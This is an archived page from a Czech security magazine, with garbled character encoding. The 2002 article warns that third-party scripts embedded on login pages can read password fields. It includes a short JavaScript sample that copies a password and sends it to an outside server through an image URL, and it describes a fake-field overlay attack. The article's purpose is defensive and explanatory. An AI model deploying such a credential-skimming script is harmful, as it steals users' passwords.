home *** CD-ROM | disk | FTP | other *** search
/ Chip 2003 April / Chip_2003-04_cd1.bin / tema / krypta / articles.php@ID=110 < prev    next >
Text File  |  2003-02-02  |  14KB  |  319 lines

  1. <!doctype html public "-//W3C//DTD HTML 4.0 Transitional//EN">
  2. <html>
  3. <head>
  4.  <title>Krypta.cz - HTML problΘm :  cizφ k≤d a formulß°e</title>
  5.  <link rel="StyleSheet" href="server/main.css" type="text/css">
  6.  <link rel="SHORTCUT ICON" href="server/favicon.ico">
  7.  <meta http-equiv="Content-Type" content="text/html; charset=windows-1250">
  8.  <meta http-equiv="Cache-control" content="no-cache">
  9.  <meta http-equiv="Pragma" content="no-cache">
  10.  <meta http-equiv="Expires" content="0">
  11.  <meta name="robots" content="ALL,FOLLOW">
  12.  <meta http-equiv="Content-language" content="cs">
  13.  <meta name="description" content="Internetov² bezpeΦnostnφ portßl, zab²vajφcφ se kryptografiφ (Üifrovßnφm), ochranou dat, internetovou bezepeΦnostφ a poΦφtaΦov²mi viry">
  14.  <meta name="keywords" content="Üifrovßnφ cryptography pgp des aes rsa dss digital signatures pki linux free bezpeΦnost ochrana hacking cracking virus worm">
  15.  <meta name="copyright" content="Copyright (C) 2000-2002 Krypta.cz - <a href=mailto:michal.till@krypta.cz>Michal Till</a> a <a href=mailto:jan.kulveit@krypta.cz>Jan Kulveit</a>.">
  16.  <!-- No caching for this document.Trying to write to art110.html. ?> -->
  17.  
  18.  <!-- output.php -->
  19.  
  20.   <script language="JavaScript">
  21.   <!-- 
  22. //    if(top != self) { window.top.location.href=document.location; }  -->
  23.   </script>
  24.  
  25.  
  26. <!-- NAVRCHOLU.cz -->
  27. <script language="JavaScript" type="text/javascript">
  28. <!--
  29. pxDepth = screen.pixelDepth;
  30. if (!(pxDepth > 0))
  31.     pxDepth = screen.colorDepth;
  32. if (!(pxDepth > 0))
  33.     pxDepth = 0; 
  34. document.write("<img style=\"position:absolute; top:0px; left: 0px;\" src=\"../hit.navrcholu.cz/hit@id=00039669;n=1;screenx=" + screen.width + ";screeny=" + screen.height + ";cdepth=" + pxDepth + ";ref=" + escape(top.document.referrer) + "\" width=\"1\" height=\"1\" alt=\"\">");
  35. // -->
  36. </script>
  37. <noscript>
  38. <img style="position:absolute; top:0px; left: 0px;" src="../hit.navrcholu.cz/hit@id=00039669;n=1" width="1" height="1" alt="" border="0">
  39. </noscript>
  40. <!-- NAVRCHOLU.cz - konec -->
  41.  
  42. <STYLE Type=text/css>
  43.     BODY                { font-size:110%; background-color: #ffffff; color: #000000; margin: 0px;   background-image: url(images/backgr.gif); }
  44.  
  45.  
  46.  
  47.     .Copyright        { color: #000000; }
  48.     .Copyright A    { color: #000000; }
  49. </STYLE>
  50. </head>
  51. <SCRIPT>
  52. </SCRIPT><SCRIPT Src=charts.php@version=1621></SCRIPT><SCRIPT>
  53.  // Nalezeno  1 polozek. 
  54. var SectionTitles=new Array( "HTML problΘm :  cizφ k≤d a formulß°e" );
  55. var SectionURLs=new Array( "110" );
  56.  
  57. var BrothersNames = new Array("BezpeΦnost a autorizace na WWW I. : protokol HTTP","BezpeΦnost a autorizace na WWW II.","HTML problΘm :  cizφ k≤d a formulß°e","PφÜeme bezpeΦnou webovou aplikaci - dφl 1.","K php upload bug zve°ejn∞n exploit, Apache + mod_ssl","Zßkladnφ obrana proti p°evzetφ domΘny na stran∞ klienta","");
  58. var BrothersIDs = new Array("32","33","110","122","154","155","");
  59. //=====INFO======
  60. ItemName='Article110';
  61.  
  62. InIFrame='No';
  63. TableNum=2; 
  64. ItemID=110; 
  65. ArticleType='1'; 
  66. Action='articles'
  67. ItemTitle='HTML problΘm :  cizφ k≤d a formulß°e';
  68. ItemComment='HTML problΘm :  cizφ k≤d a formulß°e';
  69. TabName='Articles'
  70. Parent1Title='HTTP (WWW) & SSL' ;
  71. Parent2Title='BezpeΦnost internetu' ;
  72. Parent1ID='43' ;
  73. Parent2ID='22' ;
  74. ParentTitle='HTTP (WWW) & SSL' ;
  75. AuthorName='Michal Till' ;
  76. AuthorDesc='' ;
  77. AuthorEMail='Michal.Till_40Seznam.cz' ;
  78. AuthorID='1' ;
  79. ItemDate='6.1.2002';
  80. Views='216' ;
  81. Average='1.00' ;
  82. Grade='1' ;
  83. NumVotes='3' ;
  84. SourceName='' ;
  85. SourceURL='' ;
  86. SourceLink='' ;
  87. Ref1URL='' ;
  88. Ref2URL='' ;
  89. Ref3URL='' ;
  90. Ref4URL='' ;
  91. Ref5URL='' ;
  92. Ref1Link='' ;
  93. Ref2Link='' ;
  94. Ref3Link='' ;
  95. Ref4Link='' ;
  96. Ref5Link='' ;
  97. Ref1Desc='' ;
  98. Ref2Desc='' ;
  99. Ref3Desc='' ;
  100. Ref4Desc='' ;
  101. Ref5Desc='' ;
  102. Possible=1 ;
  103. Answer1='' ;
  104. Answer2='' ;
  105. Answer3='' ;
  106. Answer4='' ;
  107. Answer5='' ;
  108. Num1='';
  109. Num2='';
  110. Num3='';
  111. Num4='';
  112. Num5='';
  113. Type= ''; //def
  114. WebName='Krypta.cz';
  115. //====ENDINFO======
  116.  
  117. </SCRIPT>
  118.  
  119. <BODY>
  120. </SCRIPT>
  121. <SCRIPT Language=JavaScript Src="server/startfeatures.php@Rand=ddd "> </SCRIPT><SCRIPT Language=JavaScript Src="server/features.php"> </SCRIPT><!-- Rozdeleni na sloupce -->
  122.  
  123. <TABLE cellspacing="0" cellpadding="0" border="0" width="100%">
  124. <tr>
  125.  
  126. <!-- Levy sloupec -->
  127.  
  128.  
  129.  
  130. <td  width="161" align="center" valign="top">
  131.  
  132. <img src=space.gif height=1 width=161>
  133. <SCRIPT SRC=server/left_js.php@version=1621></SCRIPT></td>
  134.  
  135. <!-- /Levy sloupec -->
  136.  
  137. <!-- Mezera 1-->
  138. <td width=13 bgcolor="#006792" ><img src="images/spacer.gif" width="13" height="1" border="0" alt=""></td>
  139. <!-- /Mezera 1-->
  140.  
  141. <!-- Mezera 2 -->
  142. <td width=1 bgcolor=#1063A5><img src="images/spacer.gif" width="1" height="1" border="0" alt=""></td>
  143. <!-- /Mezera 2-->
  144.  
  145. <!-- Mezera 3 -->
  146. <td width=10><img src="images/spacer.gif" width="10" height="1" border="0" alt=""></td>
  147. <!-- /Mezera 3-->
  148.  
  149.  
  150. <!-- Prostredni sloupec -->
  151. <td align="center" valign="top">
  152.  
  153. <!-- Hlavicka -->
  154. <!-- Horni lista s reklamou -->
  155.  
  156. <TABLE cellspacing="0" cellpadding="0" border="0" width="100%" class="hrlista">
  157. <tr>
  158.  
  159. <!-- Logo-->
  160. <td VAlign=Top>
  161. <a href="default.htm"><img src="images/logo.gif"  style="z-index:100;" vspace=0 cwidth="222" cheight="48" border="0" alt="Krypta.cz - Magazφn o informaΦnφ bezpeΦnosti"></a>
  162. </td>
  163. <!-- /Logo -->
  164.  
  165. <td align=center>
  166. </td></tr></table>
  167. <!-- /Horni lista s reklamou-->
  168. <!-- /Hlavicka -->
  169.  
  170. <TABLE Width=100% Border=0><TD><SCRIPT>
  171. </SCRIPT><SCRIPT>
  172. ArticleHead('HTML problΘm :  cizφ k≤d a formulß°e', 'Michal Till', 'Michal.Till_40Seznam.cz', '6.1.2002', '14:31:41', '╚lßnek');
  173. Intro('Na mnoha strßnkßch internetu se spoleΦn∞ s logovacφm formulß°em objevuje i cizφ k≤d (externφ javascript apod...) a to p°edevÜφm v podob∞ r∙zn²ch v²m∞nn²ch reklamnφch systΘm∙, poΦφtadel apod. V dneÜnφm Φlßnku bych cht∞l poukßzat na mo₧nß bezpeΦnostnφ rizika takovΘhoto spojenφ.');
  174. ArticleBanner_smallres('margin-bottom:10px;margin-top:-3px;');
  175. </SCRIPT>
  176. <DIV Class=Article><SCRIPT>
  177. AuthorData();
  178. if (Type != 'Pure') if ((ArticleType!=19) && (ArticleType!=20)) ShowSections();
  179. ArticleBanner_bigres('margin-top:12px;margin-bottom:-3px;');
  180. </SCRIPT><FONT Size=2><DIV Align=Justify Class=Paragraph>
  181.     Prvky formulß°e jsou nezbytnou souΦßstφ snad vÜech webov²ch aplikacφ. Z bezpeΦnostnφho hlediska nßs zajφmajφ p°edevÜφm dva objekty (äINPUTYô) a to FILE a PASSWORD (jednß se o hodnoty TYPE tagu INPUT v HTML). Navrhuji tedy, si zb∞₧n∞ projφt jejich vlastnosti. Pomocφ objektu typu FILE m∙₧ete nahrßt na server soubor. WWW prohlφ₧eΦ vytvo°φ vstupnφ textbox pro zadßnφ lokßlnφ cesty k souboru a vedle n∞ho v₧dy tlaΦφtko äProchßzetô, kterß vßm dovolφ pat°iΦn² soubor vybrat. Tento objekt nem∙₧e mφt implicitnφ hodnotu. Pokud ji zadßte, bude ignorovßna.
  182. </DIV></FONT></b></i>
  183. <FONT Size=2><DIV Align=Justify Class=Paragraph>
  184.     Druh²m problematick²m objektem je input typu password. Funguje podobn∞ jako input typu text, ale mφsto pφsmenek se nßm zobrazujφ hv∞zdiΦky. Kdysi jsem v jednΘ knφ₧ce o HTML, Φetl, ₧e z bezpeΦnostnφch d∙vod∙ je obsah tohoto textboxu pro javascriptovΘ reference typu document.form.password_input.value takΘ nahrazen hv∞zdiΦkami, navφc ₧e se nßvratovΘ hodnoty udßlostφ onkeydown, onkeyup apod. m∞nφ takΘ na hv∞zdiΦky, pokud probublajφ z objektu password (majφ vracet k≤d stisknutΘ klßvesy). Snad je tomu tak podle specifikace, nicmΘn∞ jakΘ bylo moje p°ekvapenφ, kdy₧ bez problΘm∙ fungoval nßsledujφcφ javascript: 
  185. </DIV></FONT></b></i>
  186. <FONT Size=2><DIV Align=Justify Class=Paragraph>
  187.     <SPAN Class=CODE><FORM Name=pass><br>
  188. <INPUT value=123 name=txt Type=Password><br>
  189. </FORM><br><br>
  190. <FORM Name=getpass><br>
  191. <INPUT name=txt Type=text><br>
  192. <IMG Name=savepass><br>
  193. </FORM><br><br>
  194. <SCRIPT FOR="document" EVENT=onkeydown><br>
  195. document.getpass.txt.value=document.pass.txt.value;<br>
  196. document.savepass.src="http://mujserver.cz/save.php?" + document.getpass.txt.value;<br>
  197. </SCRIPT><br></SPAN>
  198. </DIV></FONT></b></i>
  199. <FONT Size=2><DIV Align=Justify Class=Paragraph>
  200.     RegulΘrnφ logovacφ formulß° je ten naho°e, vÜe ostatnφ bylo do strßnky p°idßno °ekn∞me ät°etφ stranouô. Formulß° pod nφm je ve skriptu pouze na ukßzku : p°i psanφ hesla (ähv∞zdiΦekô) do hornφho formulß°e se heslo objevuje v otev°enΘ podob∞ ve formulß°i spodnφm. Podstatn∞jÜφ je tag IMG s obrßzkem savepass a druhß °ßdka javascriptu. Pomocφ t∞chto dvou v∞cφ a server-side skriptu save.php je mo₧nΘ heslo bez problΘm∙ odchytit (pravda, lepÜφ by mo₧nß bylo to pov∞sit na odeslßnφ formulß°e). 
  201. </DIV></FONT></b></i>
  202. <FONT Size=2><DIV Align=Justify Class=Paragraph>
  203.     Parametry FOR a EVENT podporuje pouze Explorer (°φkß se tφm, ₧e script je pro udßlost keydown objektu document), pro jin² prohlφ₧eΦ by bylo nutnΘ skript trochu upravit. NicmΘn∞ i v Mozille jde k heslu p°istupovat stejn²m zp∙sobem. (Testovßno na IE 5.5 a Mozille 0.9.6).
  204. </DIV></FONT></b></i>
  205. <FONT Size=2><DIV Align=Justify Class=Paragraph>
  206.     To p°edstavuje bezpeΦnostnφ problΘm a to äv∞tÜφ ne₧ mal²ô. Budu vßm vyprßv∞t krßtk² p°φb∞h. Pan Novßk mß server, na kterΘm poskytuje urΦitou slu₧bu, pou₧φvajφcφ www logovßnφ. ╪ekn∞me n∞jakou elektronickou pen∞₧enku. Jeliko₧ chce, aby byl hodn∞ navÜt∞vovan², zapojφ se do v²m∞nnΘho reklamnφho systΘmu Mr. Lin(x) (kterΘmu d∙v∞°uje) a k≤d tohoto systΘmu umφstφ i na strßnku s logovßnφm (kolik jich jeà) Jde p°itom o dobu, kdy tento reklamnφ systΘm m∞l adresu www.linx.cz. Jen₧e afΘry jsou vÜude a provozovatelΘ Lin(x)e se pohßdajφ s vlastnφkem domΘny linx.cz a zaΦnou horeΦn∞ p°esv∞dΦovat u₧ivatele systΘmu, aby si vÜechny adresy na linx.cz opravili na linxcz.cz. Jen₧e skuteΦn² majitel domΘny linx.cz, pan Buhvφkdo, nelenφ. P°estane provozovat reklamnφ systΘm a domΘnu si p°esm∞ruje na sv∙j vlastnφ server. Naprogramuje filtr na po₧adavky ze serveru novak.cz a do externφho javascriptu kter² byl Lin(x)em vyu₧φvßn p°idß v²Üe uveden² skript. Dokud si pan Novßk strßnky neopravφ, budou vÜechna logovßnφ kopφrovßna a hesla odesφlßna n∞komu ·pln∞ jinΘmu.
  207. </DIV></FONT></b></i>
  208. <FONT Size=2><DIV Align=Justify Class=Paragraph>
  209.     Z toho plyne pouΦenφ jen jedinΘ: na strßnky s p°ihlaÜovßnφm a na strßnky s citliv²m obsahem nikdy nevklßdejte cizφ k≤d. 
  210. </DIV></FONT></b></i>
  211. <FONT Size=2><DIV Align=Justify Class=Paragraph>
  212.     Pokud by fungovala n∞jakß ochrana p°ed Φtenφm hesla javascriptem, jß osobn∞ v p°φpad∞ ·toΦnφka bych to ud∞lal nßsledovn∞ : projedu si pomocφ DHTML cel² strom objekt∙ a zaznamenßm si p°esnou pozici (offset-left, offset-top) logovacφch objekt∙. PotΘ jednoduÜe p°eplßcnu objekty sv²mi (absolutnφ polohovßnφ û bude se to p°esn∞ p°ekr²vat a u₧ivatel nic nepoznß). Ty samoz°ejm∞ budou pat°it do jinΘho formulß°e, kter² se bude odesφlat ·pln∞ n∞kam jinamà
  213.  
  214. </DIV></FONT></b></i>
  215. </DIV>
  216. <SCRIPT>
  217. TextEnd('')
  218. </SCRIPT><SCRIPT>
  219. o('<br>');
  220. hr('');
  221. o('<TABLE '+CP+' '+CS+' style=\'position:relative;top:-'+sw('7','9')+'px;z-index:5\' xAlign=left '+B+'><TR><TD width=10><img HEIGHT=18 WIDTH=14 src=images/downgreyleft.gif hspace=0 vspace=0 '+B+' align=right><TD bgcolor=#E0E0E0><SPAN Style="font-size:12px;color:#000000;font-family:Verdana, Arial, Sans-Serif;position:relative;top:-2px;">Souvisejφcφ člßnky</SPAN><TD width=10><img src=images/downgreyright.gif width=17 height=18  hspace=0 vspace=0 '+B+' '+AL+'></TABLE>');
  222. </SCRIPT><OL Class=None Type=Disc><LI style='margin-left:20px;' class=LinkItem><a href=articles.php@ID=122><SPAN Class=SeeAlso>PφÜeme bezpeΦnou webovou aplikaci - dφl 1.</SPAN></a><LI style='margin-left:20px;' class=LinkItem><a href=articles.php@ID=143><SPAN Class=SeeAlso>HTML viry realitou i pro antivirovΘ programy</SPAN></a><LI style='margin-left:20px;' class=LinkItem><a href=articles.php@ID=173><SPAN Class=SeeAlso>Cache m∙₧e slou₧it k p°enesenφ ·toΦnΘho k≤du</SPAN></a></OL><SCRIPT>
  223. nie('<br>');AdditionalTablesBegin();
  224.  
  225. CommentsBegin('HTML problΘm :  cizφ k≤d a formulß°e',0);
  226. NoComments()
  227. CommentsEnd();
  228. </SCRIPT><SCRIPT>
  229. ArticleEnd()
  230. </SCRIPT></TABLE>
  231. <!-- /Prostredni sloupec -->
  232.  
  233.  
  234. <!-- Mezera 3 -->
  235.  
  236. <td width=5><img src="images/spacer.gif" width="5" height="1" border="0" alt=""></td>
  237. <!-- /Mezera 3-->
  238.  
  239. <!-- Mezera 2 -->
  240. <td width=1 bgcolor=#1063A5><img src="images/spacer.gif" width="1" height="1" border="0" alt=""></td>
  241. <!-- /Mezera 2-->
  242.  
  243. <!-- Mezera 1-->
  244. <td width=13 bgcolor="#006792" ><img src="images/spacer.gif" width="13" height="1" border="0" alt=""></td>
  245. <!-- /Mezera 1-->
  246.  
  247. <!-- Pravy sloupec -->
  248. <td bgcolor=#006792 width="0" align="center" valign="top">
  249. <SCRIPT SRC=server/right_js.php@version=1621></SCRIPT><br>
  250. </td>
  251. <!-- /Pravy sloupec -->
  252.  
  253.  
  254. </tr>
  255.  
  256. <!-- Bilo -->
  257. <tr>
  258. <td bgcolor=#000000><img src=space.gif height=1 width=1></td>
  259. <td bgcolor=#000000></td>
  260. <td bgcolor=#000000></td>
  261. <td bgcolor=#FFFFFF></td>
  262. <td bgcolor=#FFFFFF></td>
  263. <td bgcolor=#FFFFFF></td>
  264. <td colspan=5 bgcolor=#000000></td>
  265. </tr>
  266. <tr  bgcolor=#FFFFFF>
  267. <td><img src=space.gif height=20 width=1></td>
  268. <td></td>
  269. <td></td>
  270. <td></td>
  271. <td></td>
  272. <td></td>
  273. <td colspan=5></td>
  274. </tr>
  275. <!-- /Bilo-->
  276.  
  277.  
  278.  
  279. </table>
  280. <!-- /Rozdeleni na sloupce -->
  281.  
  282. <SCRIPT>
  283.     Exec(ToExecute);
  284.     ToExecute="";
  285. </SCRIPT>
  286.  
  287. <!-- Dolni lista -->
  288.  
  289.  
  290. <!-- Paticka -->
  291. <TABLE cellspacing="0" cellpadding="0" border="0" width="100%" bgcolor=#ffffff>
  292. <TR><td colspan=5 align="center" bgcolor=#000000><img src=space.gif height=1 width=1></td></TR>
  293. <TR bgcolor=#f0f0f0>
  294. <td align="center">
  295. <IMG Src=images/logo2.gif hspace=10 vspace=5>
  296. </td>
  297. <td>
  298. <DIV Style="margin-top:4px;margin-bottom:4px;" Class=Copyright><FONT Face=Arial Size=1>
  299.  
  300. <b><u>Krypta.cz</u></b> -  Magazφn o informaΦnφ bezpeΦnosti.<br>
  301. Copyright (C) 2000-2002 Krypta.cz - <a href=mailto:michal.till@krypta.cz>Michal Till</a> a <a href=mailto:jan.kulveit@krypta.cz>Jan Kulveit</a>. VÜechna prßva vyhrazena. <br>
  302. Tento server dodr₧uje prßvnφ p°edpisy o ochran∞ osobnφch ·daj∙, vΦetn∞ standardu P3P (<a href=server/policy.xml>policy</a>). </FONT></DIV>
  303. </td>
  304. <td>
  305. <IMG Src=geronimo.gif hspace=10 vspace=5>
  306. </td>
  307. <td>
  308. <DIV Style="margin-top:4px;margin-bottom:4px;" Class=Copyright><FONT Face=Arial Size=1>
  309. RedakΦnφ systΘm Geronimo<br>
  310. Copyright (C) 2001-2002 <a href=mailto:michal.till@krypta.cz>Michal Till</a>
  311. </FONT></DIV>
  312. </td>
  313. </td></tr></table>
  314. <!-- Paticka -->
  315.  
  316. <!-- /Dolni lista -->
  317.  
  318. </body>
  319. </html>